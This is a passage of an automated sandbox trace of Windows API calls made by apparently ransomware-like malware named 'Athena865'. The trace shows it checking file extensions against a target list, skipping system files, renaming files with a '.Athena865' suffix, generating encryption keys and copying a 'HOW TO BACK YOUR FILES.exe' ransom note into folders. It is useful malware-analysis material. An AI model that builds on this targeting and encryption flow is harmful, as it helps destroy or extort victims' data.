-1 [0092.284] lstrlenW (lpString="dxl") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0092.285] lstrlenW (lpString="eco") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0092.285] lstrlenW (lpString="ecx") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0092.285] lstrlenW (lpString="edb") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0092.285] lstrlenW (lpString="epim") returned 4 [0092.285] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0092.285] lstrlenW (lpString="fcd") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0092.285] lstrlenW (lpString="fdb") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0092.285] lstrlenW (lpString="fic") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0092.285] lstrlenW (lpString="flexolibrary") returned 12 [0092.285] lstrlenW (lpString="fm5") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0092.285] lstrlenW (lpString="fmp") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0092.285] lstrlenW (lpString="fmp12") returned 5 [0092.285] lstrcmpiW (lpString1="e.htm", lpString2="fmp12") returned -1 [0092.285] lstrlenW (lpString="fmpsl") returned 5 [0092.285] lstrcmpiW (lpString1="e.htm", lpString2="fmpsl") returned -1 [0092.285] lstrlenW (lpString="fol") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0092.285] lstrlenW (lpString="fp3") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0092.285] lstrlenW (lpString="fp4") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0092.285] lstrlenW (lpString="fp5") returned 3 [0092.285] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0092.286] lstrlenW (lpString="fp7") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0092.286] lstrlenW (lpString="fpt") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0092.286] lstrlenW (lpString="frm") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0092.286] lstrlenW (lpString="gdb") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.286] lstrlenW (lpString="gdb") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.286] lstrlenW (lpString="grdb") returned 4 [0092.286] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0092.286] lstrlenW (lpString="gwi") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0092.286] lstrlenW (lpString="hdb") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0092.286] lstrlenW (lpString="his") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0092.286] lstrlenW (lpString="ib") returned 2 [0092.286] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0092.286] lstrlenW (lpString="idb") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0092.286] lstrlenW (lpString="ihx") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0092.286] lstrlenW (lpString="itdb") returned 4 [0092.286] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0092.286] lstrlenW (lpString="itw") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0092.286] lstrlenW (lpString="jet") returned 3 [0092.286] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0092.286] lstrlenW (lpString="jtx") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0092.287] lstrlenW (lpString="kdb") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0092.287] lstrlenW (lpString="kexi") returned 4 [0092.287] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0092.287] lstrlenW (lpString="kexic") returned 5 [0092.287] lstrcmpiW (lpString1="e.htm", lpString2="kexic") returned -1 [0092.287] lstrlenW (lpString="kexis") returned 5 [0092.287] lstrcmpiW (lpString1="e.htm", lpString2="kexis") returned -1 [0092.287] lstrlenW (lpString="lgc") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0092.287] lstrlenW (lpString="lwx") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0092.287] lstrlenW (lpString="maf") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0092.287] lstrlenW (lpString="maq") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0092.287] lstrlenW (lpString="mar") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0092.287] lstrlenW (lpString="marshal") returned 7 [0092.287] lstrcmpiW (lpString1="ime.htm", lpString2="marshal") returned -1 [0092.287] lstrlenW (lpString="mas") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0092.287] lstrlenW (lpString="mav") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0092.287] lstrlenW (lpString="maw") returned 3 [0092.287] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0092.287] lstrlenW (lpString="mdbhtml") returned 7 [0092.287] lstrcmpiW (lpString1="ime.htm", lpString2="mdbhtml") returned -1 [0092.287] lstrlenW (lpString="mdn") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0092.288] lstrlenW (lpString="mdt") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0092.288] lstrlenW (lpString="mfd") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0092.288] lstrlenW (lpString="mpd") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0092.288] lstrlenW (lpString="mrg") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0092.288] lstrlenW (lpString="mud") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0092.288] lstrlenW (lpString="mwb") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0092.288] lstrlenW (lpString="myd") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0092.288] lstrlenW (lpString="ndf") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0092.288] lstrlenW (lpString="nnt") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0092.288] lstrlenW (lpString="nrmlib") returned 6 [0092.288] lstrcmpiW (lpString1="me.htm", lpString2="nrmlib") returned -1 [0092.288] lstrlenW (lpString="ns2") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0092.288] lstrlenW (lpString="ns3") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0092.288] lstrlenW (lpString="ns4") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0092.288] lstrlenW (lpString="nsf") returned 3 [0092.288] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0092.288] lstrlenW (lpString="nv") returned 2 [0092.288] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0092.288] lstrlenW (lpString="nv2") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0092.289] lstrlenW (lpString="nwdb") returned 4 [0092.289] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0092.289] lstrlenW (lpString="nyf") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0092.289] lstrlenW (lpString="odb") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.289] lstrlenW (lpString="odb") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.289] lstrlenW (lpString="oqy") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0092.289] lstrlenW (lpString="ora") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0092.289] lstrlenW (lpString="orx") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0092.289] lstrlenW (lpString="owc") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0092.289] lstrlenW (lpString="p96") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0092.289] lstrlenW (lpString="p97") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0092.289] lstrlenW (lpString="pan") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0092.289] lstrlenW (lpString="pdb") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0092.289] lstrlenW (lpString="pdm") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0092.289] lstrlenW (lpString="pnz") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0092.289] lstrlenW (lpString="qry") returned 3 [0092.289] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0092.290] lstrlenW (lpString="qvd") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0092.290] lstrlenW (lpString="rbf") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0092.290] lstrlenW (lpString="rctd") returned 4 [0092.290] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0092.290] lstrlenW (lpString="rod") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0092.290] lstrlenW (lpString="rodx") returned 4 [0092.290] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0092.290] lstrlenW (lpString="rpd") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0092.290] lstrlenW (lpString="rsd") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0092.290] lstrlenW (lpString="sas7bdat") returned 8 [0092.290] lstrcmpiW (lpString1="rime.htm", lpString2="sas7bdat") returned -1 [0092.290] lstrlenW (lpString="sbf") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0092.290] lstrlenW (lpString="scx") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0092.290] lstrlenW (lpString="sdb") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0092.290] lstrlenW (lpString="sdc") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0092.290] lstrlenW (lpString="sdf") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0092.290] lstrlenW (lpString="sis") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0092.290] lstrlenW (lpString="spq") returned 3 [0092.290] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0092.290] lstrlenW (lpString="te") returned 2 [0092.291] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0092.291] lstrlenW (lpString="teacher") returned 7 [0092.291] lstrcmpiW (lpString1="ime.htm", lpString2="teacher") returned -1 [0092.291] lstrlenW (lpString="tmd") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0092.291] lstrlenW (lpString="tps") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0092.291] lstrlenW (lpString="trc") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.291] lstrlenW (lpString="trc") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.291] lstrlenW (lpString="trm") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0092.291] lstrlenW (lpString="udb") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0092.291] lstrlenW (lpString="udl") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0092.291] lstrlenW (lpString="usr") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0092.291] lstrlenW (lpString="v12") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0092.291] lstrlenW (lpString="vis") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0092.291] lstrlenW (lpString="vpd") returned 3 [0092.291] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0092.291] lstrlenW (lpString="vvv") returned 3 [0092.292] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0092.293] lstrlenW (lpString="wdb") returned 3 [0092.293] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0092.293] lstrlenW (lpString="wmdb") returned 4 [0092.294] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0092.294] lstrlenW (lpString="wrk") returned 3 [0092.294] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0092.294] lstrlenW (lpString="xdb") returned 3 [0092.294] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0092.294] lstrlenW (lpString="xld") returned 3 [0092.294] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0092.294] lstrlenW (lpString="xmlff") returned 5 [0092.294] lstrcmpiW (lpString1="e.htm", lpString2="xmlff") returned -1 [0092.294] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.Athena865") returned 61 [0092.294] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm.athena865"), dwFlags=0x1) returned 1 [0092.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.296] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17082) returned 1 [0092.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.297] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.297] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.297] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.297] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45c0, lpName=0x0) returned 0x17c [0092.300] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45c0) returned 0x100000 [0092.302] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.303] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.303] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.303] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.304] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.304] CloseHandle (hObject=0x17c) returned 1 [0092.304] CloseHandle (hObject=0x154) returned 1 [0092.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.304] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0092.304] lstrcmpiW (lpString1="Esl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.304] lstrcmpiW (lpString1="Esl", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.304] lstrcmpiW (lpString1="Esl", lpString2=".") returned 1 [0092.304] lstrcmpiW (lpString1="Esl", lpString2="..") returned 1 [0092.304] lstrcmpiW (lpString1="Esl", lpString2="windows") returned -1 [0092.304] lstrcmpiW (lpString1="Esl", lpString2="bootmgr") returned 1 [0092.305] lstrcmpiW (lpString1="Esl", lpString2="temp") returned -1 [0092.305] lstrcmpiW (lpString1="Esl", lpString2="pagefile.sys") returned -1 [0092.305] lstrcmpiW (lpString1="Esl", lpString2="boot") returned 1 [0092.305] lstrcmpiW (lpString1="Esl", lpString2="ids.txt") returned -1 [0092.305] lstrcmpiW (lpString1="Esl", lpString2="ntuser.dat") returned -1 [0092.305] lstrcmpiW (lpString1="Esl", lpString2="perflogs") returned -1 [0092.305] lstrcmpiW (lpString1="Esl", lpString2="MSBuild") returned -1 [0092.305] lstrlenW (lpString="Esl") returned 3 [0092.305] lstrcpyW (in: lpString1=0x241e89a, lpString2="Esl" | out: lpString1="Esl") returned="Esl" [0092.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509038 [0092.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51bb50 [0092.305] lstrcatW (in: lpString1="Esl", lpString2="\\" | out: lpString1="Esl\\") returned="Esl\\" [0092.305] lstrcatW (in: lpString1="Esl\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Esl\\HOW TO BACK YOUR FILES.exe") returned="Esl\\HOW TO BACK YOUR FILES.exe" [0092.305] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.307] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b83120, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0b83120, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.308] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.308] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2=".") returned 1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="..") returned 1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="windows") returned -1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="bootmgr") returned 1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="temp") returned -1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="pagefile.sys") returned -1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="boot") returned 1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="ids.txt") returned 1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="ntuser.dat") returned -1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="perflogs") returned -1 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2="MSBuild") returned -1 [0092.308] lstrlenW (lpString="IrakHau.htm") returned 11 [0092.308] lstrcpyW (in: lpString1=0x241e89a, lpString2="IrakHau.htm" | out: lpString1="IrakHau.htm") returned="IrakHau.htm" [0092.308] lstrlenW (lpString="IrakHau.htm") returned 11 [0092.308] lstrlenW (lpString="Athena865") returned 9 [0092.308] lstrcmpiW (lpString1="akHau.htm", lpString2="Athena865") returned -1 [0092.308] lstrlenW (lpString=".dll") returned 4 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2=".dll") returned 1 [0092.308] lstrlenW (lpString=".lnk") returned 4 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2=".lnk") returned 1 [0092.308] lstrlenW (lpString=".ini") returned 4 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2=".ini") returned 1 [0092.308] lstrlenW (lpString=".sys") returned 4 [0092.308] lstrcmpiW (lpString1="IrakHau.htm", lpString2=".sys") returned 1 [0092.309] lstrlenW (lpString="IrakHau.htm") returned 11 [0092.309] lstrlenW (lpString="bak") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.309] lstrlenW (lpString="ba_") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.309] lstrlenW (lpString="dbb") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.309] lstrlenW (lpString="vmdk") returned 4 [0092.309] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.309] lstrlenW (lpString="rar") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.309] lstrlenW (lpString="zip") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.309] lstrlenW (lpString="tgz") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.309] lstrlenW (lpString="vbox") returned 4 [0092.309] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.309] lstrlenW (lpString="vdi") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.309] lstrlenW (lpString="vhd") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.309] lstrlenW (lpString="vhdx") returned 4 [0092.309] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.309] lstrlenW (lpString="avhd") returned 4 [0092.309] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.309] lstrlenW (lpString="db") returned 2 [0092.309] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.309] lstrlenW (lpString="db2") returned 3 [0092.309] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.309] lstrlenW (lpString="db3") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.310] lstrlenW (lpString="dbf") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.310] lstrlenW (lpString="mdf") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.310] lstrlenW (lpString="mdb") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.310] lstrlenW (lpString="sql") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.310] lstrlenW (lpString="sqlite") returned 6 [0092.310] lstrcmpiW (lpString1="au.htm", lpString2="sqlite") returned -1 [0092.310] lstrlenW (lpString="sqlite3") returned 7 [0092.310] lstrcmpiW (lpString1="Hau.htm", lpString2="sqlite3") returned -1 [0092.310] lstrlenW (lpString="sqlitedb") returned 8 [0092.310] lstrcmpiW (lpString1="kHau.htm", lpString2="sqlitedb") returned -1 [0092.310] lstrlenW (lpString="xml") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.310] lstrlenW (lpString="$er") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.310] lstrlenW (lpString="4dd") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.310] lstrlenW (lpString="4dl") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.310] lstrlenW (lpString="^^^") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.310] lstrlenW (lpString="abs") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.310] lstrlenW (lpString="abx") returned 3 [0092.310] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.311] lstrlenW (lpString="accdb") returned 5 [0092.311] lstrcmpiW (lpString1="u.htm", lpString2="accdb") returned 1 [0092.311] lstrlenW (lpString="accdc") returned 5 [0092.311] lstrcmpiW (lpString1="u.htm", lpString2="accdc") returned 1 [0092.311] lstrlenW (lpString="accde") returned 5 [0092.311] lstrcmpiW (lpString1="u.htm", lpString2="accde") returned 1 [0092.311] lstrlenW (lpString="accdr") returned 5 [0092.311] lstrcmpiW (lpString1="u.htm", lpString2="accdr") returned 1 [0092.311] lstrlenW (lpString="accdt") returned 5 [0092.311] lstrcmpiW (lpString1="u.htm", lpString2="accdt") returned 1 [0092.311] lstrlenW (lpString="accdw") returned 5 [0092.311] lstrcmpiW (lpString1="u.htm", lpString2="accdw") returned 1 [0092.311] lstrlenW (lpString="accft") returned 5 [0092.311] lstrcmpiW (lpString1="u.htm", lpString2="accft") returned 1 [0092.311] lstrlenW (lpString="adb") returned 3 [0092.311] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.311] lstrlenW (lpString="adb") returned 3 [0092.311] 